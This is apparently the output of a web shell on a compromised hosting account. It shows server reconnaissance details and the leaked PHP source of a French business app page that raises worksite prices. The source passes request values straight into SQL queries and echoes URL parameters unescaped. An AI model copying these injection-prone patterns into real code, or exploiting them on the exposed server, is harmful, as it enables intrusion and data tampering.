|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "ff"
$where1="";
$where2="";
$selected="";
if($_GET['id'] && !empty($_GET['id']) )
{
if($_GET['id']>0)
{
$id=$_GET['id'];
$tabbursel=dbi_fetch_row((dbi_query('SELECT * FROM etablissement where etablissement_id='.$_GET['id']))) ;
$etablissement_id=$tabbursel['etablissement_id'];
$etablissement_nom=$tabbursel['etablissement_nom'];
$where1=" where etablissement_id != $etablissement_id ";
$where2=" AND etablissement_id = $etablissement_id ";
}
elseif($_GET['id']=="INDEFINI")
{
$where2=" ";
$etablissement_id=$_GET['id'];
$selected='selected="selected"';
}
}
$debut_de_ce_mois = sprintf("%04d%02d%02d", date('Y'), date('m'), 1);
$fin_de_ce_mois = sprintf("%04d%02d%02d", date('Y'), date('m'), date('t'));
// $salarie_contrat_date_debut= dateMCPROint($_POST['debu']) ;
// $salarie_contrat_date_debut= dateMCPROint($_POST['debu']) ;
if(!empty($_POST))
{
$from = dateMCPROint($_POST['debut']) ;
$to = dateMCPROint($_POST['fin']) ;
}
else
{
$from = $debut_de_ce_mois ;
$to = $fin_de_ce_mois ;
}
$debP = $datedebut = $from;
$finP = $datefin = $to;
$TotN = 0 ;
$TotS = 0 ;
// echo "==> $from ==> $to <br/>" ;
// $chant=dbi_query("SELECT * FROM chantier c, fact_chantier fc,client cl WHERE c.agence_id=".$agence." AND cl.client_id=c.client_id AND c.Chantier_ID=fc.Chantier_ID AND Chantier_recur='0' AND Chantier_fin between $from and $to $where2 ORDER BY client_nom ");
if(!empty($_POST))
{
// $colors = array("red", "green", "blue", "yellow");
// echo ['client'][0] ;
$ab =count($client) ;
// echo "=yy==>".$ab."<br/>" ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
$taux_aug = $_POST['taux_aug'] ;
dbi_query("UPDATE `augmentation` SET `taux_aug` = '$taux_aug' WHERE `augmentation`.`id` = 1;") ;
// exit() ;
foreach ($_POST['chantier'] as $chantier_ID)
{
list($montant) = dbi_fetch_row(dbi_query(" SELECT chantier_forfaitmensuel FROM `chantier` WHERE `chantier_ID` = $chantier_ID ORDER BY `chantier_ID` ASC ")) ;
// echo "$chantier_ID =fff $montant <br>";
// $nv = printf("%.2f",$montant*1.016) ;
$nv = bcdiv($montant*$taux_aug, 1, 2); // 2.56
// echo "=dddd=>".$nv."<br/>" ;
dbi_query("UPDATE `chantier` SET `chantier_forfaitmensuel` = '$nv' WHERE `chantier`.`chantier_ID` = ".$chantier_ID) ;
}
header('Location:chs_augmentation.php?msg=les chantiers bien modifié&color=success');
// header('Location:fccontact.php?msg=contact bien ajouté&color=success');
// exit() ;
}
?>
<!DOCTYPE html>
<html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php');
?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- PAGE PRINCIPALE -->
<section class="content">
<div class="row">
<div class="col-12">
<div class="card card-primary card-outline">
<div class="card-header">
<div class="row">
<div class="col-sm-11">
<h3 class="card-title"> <i class="nav-icon fas fa-id-card"></i> Chantier </h3>
</div>
</div>
</div>
<div class="card-body">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<table style="position:absolute; top:50px; right:24px;">
<form id="bureau_form" name="bureau_form" method="POST" action="chs.php">
<tr>
<td align="left" valign="top" class="td_listing0">
<select class="form-control" id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
<option selected="selected" value=""> Tous les Etablissements </option>
<?php if(isset($etablissement_id) && isset($etablissement_nom)) { ?>
<option selected="selected" value="<?=$etablissement_id ?>"><?=$etablissement_nom?></option>
<?php } ?>
<?php
$etab=dbi_query("SELECT * FROM `etablissement` $where1") or die(mysql_error());
while($et=dbi_fetch_row($etab)){ ?>
<option value="<?php echo $et['etablissement_id']?>"><?php echo $et['etablissement_nom'] ?></option>
<?php } ?>
<option <?=$selected ?> value="INDEFINI">INDEFINI</option>
</select>
</td>
</tr>
</form>
</table>
<br/>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<br/><br/>
<?php
// $chant=dbi_query("SELECT * FROM chantier c,client cl WHERE cl.client_id=c.client_id AND Chantier_recur='0' AND Chantier_debut between $from and $to $where2 ORDER BY client_nom ");
$chant=dbi_query("SELECT * FROM chantier c,client cl WHERE cl.client_id=c.client_id AND (Chantier_fin=0 OR Chantier_fin IS NULL) $where2 ");
$chsom=dbi_query("SELECT * FROM chantier c,client cl WHERE cl.client_id=c.client_id AND (Chantier_fin=0 OR Chantier_fin IS NULL) $where2 ");;
while($s=dbi_fetch_row($chsom)){
$somme+=$s['chantier_forfaitmensuel'];
}
$ca = "<h1>CA : ".number_format($somme, 2, ",", " ")." € <span style=\"font-size:10px; font-weight:normal;\">( chantiers réguliers )</span></h1>";
echo $ca;
list($taux_aug)= dbi_fetch_row(dbi_query(" SELECT taux_aug FROM `augmentation` WHERE `id` = 1 ")) ;
?>
<div id="tab">
<div class="box-body">
<form id="bureau_mois" name="mois_form" method="POST" action="">
<div class="col-lg-6 col-6">
<br/>
<div class="icheck-info d-inline ml-2">
<input type="checkbox" value="" name="allcheck" id="allcheck">
<label for="allcheck"></label>
</div>
<span class="text">Cocher tous</span>
<input type="text" name="taux_aug" value="<?=$taux_aug ?>" />
</div>
<table id="example1" class="table table-bordered table-striped">
<thead>
<TR>
<th align="center">Nom du client</th>
<th align="center">Etablissement</th>
<th align="center">FORFAIT HT</th>
<th align="center">DESIGNATION</th>
<th align="center">date debut</th>
<th align="center">Coche</th>
</TR>
</thead>
<tbody>
<?php while($c=dbi_fetch_row($chant)){
$tauxtva=$c['chantier_forfaitmensuel']*($c['Chantier_TVA']/100);
list($etablissement_nom) =dbi_fetch_row(dbi_query('select etablissement_nom from etablissement where etablissement_id ='.$c['etablissement_id'])) ;
?>
<TR>
<?php if($client_id!=$c['client_id']) { ?>
<TD><?=strtoupper($c['client_nom']).' '.ucwords(strtolower($c['client_pnom']))?></TD>
<?php } else { ?>
<TD></TD>
<?php }
$TotS+=$c['chantier_forfaitmensuel'];
?>
<TD align="center"><?=$etablissement_nom ?></TD>
<TD align="center"><?=number_format($c['chantier_forfaitmensuel'], 2, ",", " ").' €'; ?></TD>
<TD align="center"><?=$etablissement_nom ?></TD>
<TD><?= int2date($c['chantier_debut']); ?></TD>
<TD><input type="checkbox" name="chantier[]" value="<?=$c['chantier_ID']?>"></TD>
</TR>
<?php
// echo $client_id.' ! '.$c['client_id'].' == ';
} ?>
</tbody>
</table><!-- /.table -->
<div class="form-group col-md-2">
<div class="input-group">
<button type="submit" name="Afficher" class="btn btn-primary">Valider </button>
</div>
</div>
</form>
</div><!-- /.box-body -->
</div><!-- /.tab -->
<?php
$debut_de_ce_mois = sprintf("%04d%02d%02d", date('Y'), date('m'), 1);
// $chant=dbi_query("SELECT * FROM chantier c, fact_chantier fc,client cl WHERE c.agence_id=".$agence." AND cl.client_id=c.client_id AND Chantier_fin >= $debut_de_ce_mois AND c.Chantier_ID=fc.Chantier_ID $where2 $where3 $ordre ,client_nom ");
// $chsom=dbi_query("SELECT * FROM chantier c, fact_chantier fc,client cl WHERE c.agence_id=".$agence." AND cl.client_id=c.client_id AND Chantier_fin >= $debut_de_ce_mois AND c.Chantier_ID=fc.Chantier_ID $where2 $where3 $ordre ,client_nom ");;
$somme = 0 ;
$chant=dbi_query("SELECT * FROM chantier c,client cl WHERE cl.client_id=c.client_id AND Chantier_fin >= $debut_de_ce_mois $where2 ");
$chsom=dbi_query("SELECT * FROM chantier c,client cl WHERE cl.client_id=c.client_id AND Chantier_fin >= $debut_de_ce_mois $where2 ");;
while($s=dbi_fetch_row($chsom)){
$somme+=$s['chantier_forfaitmensuel'];
}
$ca = "<h1>CA : ".number_format($somme, 2, ",", " ")." € <span style=\"font-size:10px; font-weight:normal;\">( chantiers ponctuels )</span></h1>";
echo $ca;
?>
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<TR>
<th align="center">Nom du client</th>
<th align="center">Etablissement</th>
<th align="center">FORFAIT HT</th>
<th align="center">DESIGNATION</th>
<th align="center">TVA</th>
</TR>
</thead>
<tbody>
<?php while($c=dbi_fetch_row($chant)){
$tauxtva=$c['chantier_forfaitmensuel']*($c['Chantier_TVA']/100);
list($etablissement_nom) =dbi_fetch_row(dbi_query('select etablissement_nom from etablissement where etablissement_id ='.$c['etablissement_id'])) ;
?>
<TR>
<?php if($client_id!=$c['client_id']) { ?>
<TD><?=strtoupper($c['client_nom']).' '.ucwords(strtolower($c['client_pnom']))?></TD>
<?php } else { ?>
<TD></TD>
<?php }
$TotS+=$c['chantier_forfaitmensuel'];
?>
<TD align="center"><?=$etablissement_nom ?></TD>
<TD align="center"><?=number_format($c['chantier_forfaitmensuel'], 2, ",", " ").' €'; ?></TD>
<TD><?=stripslashes($c['chantier_designation']); ?></TD>
<TD><?=number_format($c['Chantier_TVA'], 2, ",", " ") ;?></TD>
</TR>
<?php
// echo $client_id.' ! '.$c['client_id'].' == ';
} ?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<?php include('footerr.php'); ?>
<script language="Javascript">
function GetIdBureau()
{
var id="";
id = document.bureau_form.client_bureau.value ;
if( id > 0 || id=="INDEFINI" )
window.location = "chs_augmentation.php?id="+id;
else
window.location = "chs_augmentation.php";
}
$("#allcheck").click(function(){
$('input:checkbox').not(this).prop('checked', this.checked);
});
</script>
</body>
</html>
